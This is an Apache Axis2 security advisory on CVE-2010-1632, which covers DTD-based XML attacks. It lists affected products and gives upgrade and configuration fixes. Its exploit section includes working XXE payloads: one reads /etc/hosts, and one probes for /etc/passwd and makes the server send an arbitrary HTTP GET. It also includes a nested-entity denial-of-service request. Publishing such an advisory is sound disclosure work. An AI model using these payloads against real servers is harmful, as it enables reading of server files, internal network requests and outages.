Apache Axis2 Security Advisory (CVE-2010-1632)

HTTP binding (REST) enables DTD based XML attacks

Andreas Veithen <veithen@apache.org>

First version: May 16, 2010 • First published: June 13, 2010 • Last updated: Dec 15, 2010

Table of Contents

1. Description

According to the SOAP 1.1 specification, “A SOAP message MUST NOT contain a Document Type Declaration.” In Axis2, this constraint is enforced by the `StAXSOAPModelBuilder` class, which is part of Axiom. This approach presents two issues:

- It only works for SOAP bindings. HTTP bindings supporting plain XML messages still allow document type declarations in request messages.
- When processing a document with a document type declaration, `StAXSOAPModelBuilder` only reports an error after receiving the DTD event from the StAX parser. However, at this point, the StAX parser may already have processed (part of) the document type declaration.

This implies that Axis2 is vulnerable to DTD based XML attacks. There are two types of such attacks:

- Document type declarations may reference other documents, namely a DTD or external entities declared in the internal subset. If the XML parser is configured with a default entity resolver (which is the case for Axis2), this allows an attacker to instruct the parser to access arbitrary files. Since URLs may be used as system IDs, this includes remote resources accessible only in the network where the server is deployed. An attacker may exploit this in several ways:
    - By inspecting the error message in the service response, he may be able to scan for the presence of certain files on the local file system of the server or for the availability of certain network resources accessible to the server.

  - By including an internal subset in the document type declaration of the request and using external entity declarations, he may be able to include the content of arbitrary files (local to the server) in the request. There are many services that produce responses that include information from the request message (either as part of a normal response or a SOAP fault). By carefully crafting the request, the attacker may thus be able to retrieve the content of arbitrary files from the server.

  - Using URLs with the "http" scheme, the attacker may use the vulnerability to let the server execute arbitrary HTTP GET requests and attack other systems that have some form of trust relationship with the Axis2 server.

- While XML does not allow recursive entity definitions, it does permit nested entity definitions. If a document has very deeply nested entity definitions, parsing that document can result in very high CPU and memory consumption during entity expansion. This produces the potential for Denial of Service attacks.

2. Systems affected

2.1. Axis2 deployments

As shown in Section 4, "Solutions", all Axis2 installations with versions prior to 1.5.2 are to some extend vulnerable. The most vulnerable installations are those on which at least one service is deployed that has an HTTP binding accepting messages with content type `application/xml`, i.e. for which the `disableREST` parameter is set to `false`. Note that this is the default setting.

Even deployments with REST disabled are partially vulnerable (see Section 5.2, "Server file system scan and arbitrary HTTP GET request execution" and Section 5.3, "Denial of Service"). In addition, Axis2 deployments that use a StAX implementation other than Woodstox may have additional vulnerabilities also affecting SOAP requests[1].

Note that all types of Axis2 deployments are affected by these vulnerabilities. This includes standalone deployments, deployments using the WAR distribution as well as Web applications embedding Axis2.

2.2. Other products

Axis2 is used in (or as the basis for) other Open Source projects and commercial products. It is likely that these products are vulnerable as well. At the time of writing, the following information is available:

- Axis2 is used by the Synapse, ODE, Tuscany and Geronimo projects from the ASF. The vulnerability has been confirmed by the Geronimo project (see GERONIMO-5383 for more details). Specific instructions for patching Geronimo 2.1.x are available at http://geronimo.apache.org/geronimo-21x-cve-2010-1632-patch-instructions.html. The security fix has been included in Geronimo 2.2.1. It is expected that all other projects in this list are vulnerable as well.

- Axis2 is used as the JAX-WS implementation in WebSphere Application Server 7.0 and in the Feature Pack for Web Services for WAS 6.1. Both are vulnerable. See http://www-01.ibm.com/support/docview.wss?uid=swg21433581 for details about the affected versions.

It is possible that Web service frameworks other than Axis2 are affected by similar vulnerabilities. At the time of writing, the following information is available:

[1]Woodstox parses the document type declaration lazily, i.e. only when the DTD event is consumed. In this case, the protection in `StAXSOAPModelBuilder` is enough.

- Axis 1.3 and 1.4 are not vulnerable and immediately reject any request containing a DOCTYPE declaration. There is currently no information available for Axis 1.0, 1.1 and 1.2.
- A similar vulnerability exists in Apache CXF. Please refer to CVE-2010-2076 for more details.

For projects and products not listed above or for which no information is available, the exploits described in Section 5, “Exploits” may be used to check for vulnerability.

3. Impact assessment

The vulnerability described in this advisory may allow an attacker to read arbitrary files on the file system of the node where Axis2 runs, provided that the account running the Axis2 instance has access to these files and that Java 2 security is not used to prevent file system access. An attacker may also be able to retrieve unsecured resources from the network if they are reachable from the Axis2 instance with URLs that are recognized by the Java runtime. However, to do so, the attacker needs to create a specially crafted request that requires knowledge about the services deployed on the Axis2 instance. Therefore, this vulnerability cannot be exploited in an automated way.

The vulnerability may also allow the attacker to check the file system of the server (resp. network resources reachable by the server) for the existence of certain files (resp. resources), as well as to carry out Denial of Service attacks. These attacks don’t require knowledge about the services deployed on Axis2 and may thus be exploited using scripting.

It is important that all users of Axis2 (and derived products) who have deployments that accept XML messages from untrusted sources take appropriate actions to mitigate the risk caused by the vulnerability described in this advisory. This also applies to users who have secured their installations using WS-Security (Rampart).

4. Solutions

In order to avoid the vulnerability described in this advisory, apply one of the solutions explained in the following sections.

4.1. Upgrade to Axis2 1.5.2 or 1.6

The security issue described in this advisory is fixed in Axis2 1.5.2 and 1.6. These releases forbid document type declarations even for `application/xml` documents. Therefore upgrading to one of these versions is the best solution. Axis2 1.5.2 was released in September 2010. At the date of writing, Axis2 1.6 has not been released yet. However, snapshot versions are available.

4.2. Disable support for the application/xml content type

This solution only applies to users who don’t need REST support.

As explained in Section 2.1, “Axis2 deployments”, disabling REST support (using the `disableREST` parameter) partially solves the issue, but still leaves the system vulnerable to some types of attacks. Since the issue is caused by the component responsible for processing messages with content type `application/xml`, the only effective solution is to disable this component. It is configured in `axis2.xml` using the following declaration:

```
<messageBuilder contentType="application/xml"
    class="org.apache.axis2.builder.ApplicationXMLBuilder"/>
```

However, it is **not** sufficient to just remove this declaration. The reason is that Axis2 registers `ApplicationXMLBuilder` by default, even if there is no explicit declaration for it in `axis2.xml`. Therefore the only way to disable this component is to override the mapping for the `application/xml` content type with a message builder that doesn't have the same vulnerability. The recommended way is to replace `ApplicationXMLBuilder` by `SOAPBuilder`:

```
<messageBuilder contentType="application/xml"
    class="org.apache.axis2.builder.SOAPBuilder"/>
```

The effect of this is that messages with content type `application/xml` are no longer processed as plain XML messages, but as SOAP messages.

In addition to this configuration change, it is also necessary to make sure that Axis2 uses Woodstox as its StAX implementation. This is the case if `wstx-asl-x.y.z.jar` is in the classpath.

4.3. Apply a security fix

A fix for the issue described in this advisory is available in source code form from the following location:

https://svn.apache.org/repos/asf/axis/axis2/java/core/security/secfix-cve-2010-1632

It has been successfully tested with Axis2 1.4.1 and 1.5.1. In order to apply the fix, execute the following steps:

1. Check out the project from Subversion:

   ```
   svn co https://svn.apache.org/repos/asf/axis/axis2/java/core/
   security/secfix-cve-2010-1632
   ```

2. Change into the `secfix-cve-2010-1632` directory and build the project using Maven [http://maven.apache.org/]:

   ```
   mvn package
   ```

3. Copy the JAR from the `target` folder and add it to the Axis2 classpath. For the standalone distribution, this means adding the JAR to the `lib` folder. For WAR deployments, add it to `WEB-INF/lib`.

4. Open the `axis2.xml` configuration file and locate the following entry:

   ```
   <messageBuilder contentType="application/xml"
       class="org.apache.axis2.builder.ApplicationXMLBuilder"/>
   ```

   Replace `ApplicationXMLBuilder` by `SecureApplicationXMLBuilder`, as shown below:

   ```
   <messageBuilder contentType="application/xml"
       class="org.apache.axis2.builder.SecureApplicationXMLBuilder"/>
   ```

   Note that in the default `axis2.xml` configuration file shipped with Axis2 1.4.1, the `messageBuilder` entry for `ApplicationXMLBuilder` is duplicated. The second entry must be removed in order for the change to take effect.

As with the solution described in Section 4.2, "Disable support for the application/xml content type", also check that Woodstox is present in the classpath.

5. Exploits

5.1. Remote file access

The vulnerability can be demonstrated using a stock Axis2 1.5.1 distribution into which the SimpleStockQuoteService from the Apache Synapse project has been deployed[2]. The request that exposes the vulnerability is as follows:

```
<!DOCTYPE getQuote [
  <!ENTITY file SYSTEM "/etc/hosts">
]>
<getQuote xmlns="http://services.samples">
    <request>
        <symbol xmlns="http://services.samples/xsd">&file;</symbol>
    </request>
</getQuote>
```

Sending this request to the SimpleStockQuoteService endpoint[3] using `application/xml` as content type gives the following response:

```
<ns:getQuoteResponse xmlns:ns="http://services.samples">
   <ns:return xsi:type="ax21:GetQuoteResponse"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xmlns:ax21="http://services.samples/xsd">
      <ax21:change>3.9659262974249048</ax21:change>
      <ax21:earnings>12.755839004148722</ax21:earnings>
      <ax21:high>-157.5738168969912</ax21:high>
      <ax21:last>157.71363587000337</ax21:last>
      <ax21:lastTradeTimestamp>
         Sun May 16 14:25:19 CEST 2010
      </ax21:lastTradeTimestamp>
      <ax21:low>164.30154930689852</ax21:low>
      <ax21:marketCap>-4192110.249723876</ax21:marketCap>
      <ax21:name>##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting.  Do not change this entry.
##
127.0.0.1   localhost
255.255.255.255 broadcasthost
::1             localhost
fe80::1%lo0 localhost
 Company</ax21:name>
      <ax21:open>-154.31609570318096</ax21:open>
      <ax21:peRatio>23.935652759459877</ax21:peRatio>
      <ax21:percentageChange>2.204736746512539</ax21:percentageChange>
      <ax21:prevClose>179.88207905992505</ax21:prevClose>
      <ax21:symbol>##
# Host Database
```

[2]http://svn.apache.org/repos/asf/synapse/trunk/java/modules/samples/services/SimpleStockQuoteService/
[3]http://localhost:8080/axis2/services/SimpleStockQuoteService

```
#
# localhost is used to configure the loopback interface
# when the system is booting.  Do not change this entry.
##
127.0.0.1   localhost
255.255.255.255 broadcasthost
::1             localhost
fe80::1%lo0 localhost</ax21:symbol>
      <ax21:volume>7235</ax21:volume>
   </ns:return>
</ns:getQuoteResponse>
```

As can be seen, the response includes the full content of the `/etc/hosts` file. While this leverages a particular feature of the SimpleStockQuoteService, it is expected that a similar attack can be performed with many real world services.

It should also be noted that this attack only works if the `disableREST` parameter (see `axis2.xml`) is set to `false`. If REST is disabled, the attack is no longer possible and the response from the service will be as follows:

```
<faultstring>Http binding is disabled for this service.</faultstring>
```

5.2. Server file system scan and arbitrary HTTP GET request execution

Even when REST is disabled, the vulnerability can still be exploited to check the existence of a particular file on the server file system. Consider the following request (again with content type `application/xml`):

```
<!DOCTYPE root SYSTEM "/etc/passwd">
<root/>
```

When sent to any valid endpoint, this triggers the following response, assuming that Axis2 is installed on a Unix system:

```
<faultstring>[com.ctc.wstx.exc.WstxLazyException]
Unexpected character '#' (code 35) in external DTD subset;
expected a '&lt;' to start a directive
 at [row,col,system-id]: [1,1,"file:/etc/passwd"]
 from [row,col {unknown-source}]: [1,1]</faultstring>
```

On a non Unix system or if the DOCTYPE declaration refers to a non existing file, the response will be different:

```
<faultstring>[com.ctc.wstx.exc.WstxLazyException]
(was java.io.FileNotFoundException) /non_existing_file
(No such file or directory)
 at [row,col {unknown-source}]: [1,43]</faultstring>
```

By inspecting the response, an attacker can easily determine whether or not a given file exists on the file system of the server.

The same technique can also be used to trick Axis2 into executing arbitrary HTTP GET requests (including query parameters):

```
<!DOCTYPE root SYSTEM "http://www.google.com/search?q=test">
```

```
<root/>
```

5.3. Denial of Service

A Denial of Service attack using deeply nested entity definitions can easily be demonstrated using the following request:

```
<!DOCTYPE root [
    <!ENTITY x32 "foobar">
    <!ENTITY x31 "&x32;&x32;">
    <!ENTITY x30 "&x31;&x31;">
    <!ENTITY x29 "&x30;&x30;">
    <!ENTITY x28 "&x29;&x29;">
    <!ENTITY x27 "&x28;&x28;">
    <!ENTITY x26 "&x27;&x27;">
    <!ENTITY x25 "&x26;&x26;">
    <!ENTITY x24 "&x25;&x25;">
    <!ENTITY x23 "&x24;&x24;">
    <!ENTITY x22 "&x23;&x23;">
    <!ENTITY x21 "&x22;&x22;">
    <!ENTITY x20 "&x21;&x21;">
    <!ENTITY x19 "&x20;&x20;">
    <!ENTITY x18 "&x19;&x19;">
    <!ENTITY x17 "&x18;&x18;">
    <!ENTITY x16 "&x17;&x17;">
    <!ENTITY x15 "&x16;&x16;">
    <!ENTITY x14 "&x15;&x15;">
    <!ENTITY x13 "&x14;&x14;">
    <!ENTITY x12 "&x13;&x13;">
    <!ENTITY x11 "&x12;&x12;">
    <!ENTITY x10 "&x11;&x11;">
    <!ENTITY  x9 "&x10;&x10;">
    <!ENTITY  x8 "&x9;&x9;">
    <!ENTITY  x7 "&x8;&x8;">
    <!ENTITY  x6 "&x7;&x7;">
    <!ENTITY  x5 "&x6;&x6;">
    <!ENTITY  x4 "&x5;&x5;">
    <!ENTITY  x3 "&x4;&x4;">
    <!ENTITY  x2 "&x3;&x3;">
    <!ENTITY  x1 "&x2;&x2;">
]>
<root attr="&x1;"/>
```

When sent with content type `application/xml` to any valid endpoint, this request will cause an out of memory condition on the server. This works even if REST is disabled. The reason is that before checking if the request is acceptable, Axis2 needs to parse the start tag of the document element. The expansion of the entity used in the attribute on this element will then cause an out of memory error.

6. References

The issue that causes the vulnerability exposed in the present advisory was initially described in JIRA report AXIS2-4450[4].

[4]https://issues.apache.org/jira/browse/AXIS2-4450

The issue is tracked by third parties with the following references:

- CVE-2010-1632 [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1632]
- Secunia Advisory SA40252 [http://secunia.com/advisories/40252]
- VUPEN/ADV-2010-1528 [http://www.vupen.com/english/advisories/2010/1528]
- Red Hat Bugzilla – Bug 607118 [https://bugzilla.redhat.com/show_bug.cgi?id=607118]

7. Contact

Please send all security relevant comments (e.g. about additional vulnerabilities not identified by this advisory) to `<security@apache.org>`. Questions and comments that are not security relevant may be sent to the public `<java-dev@axis.apache.org>` mailing list.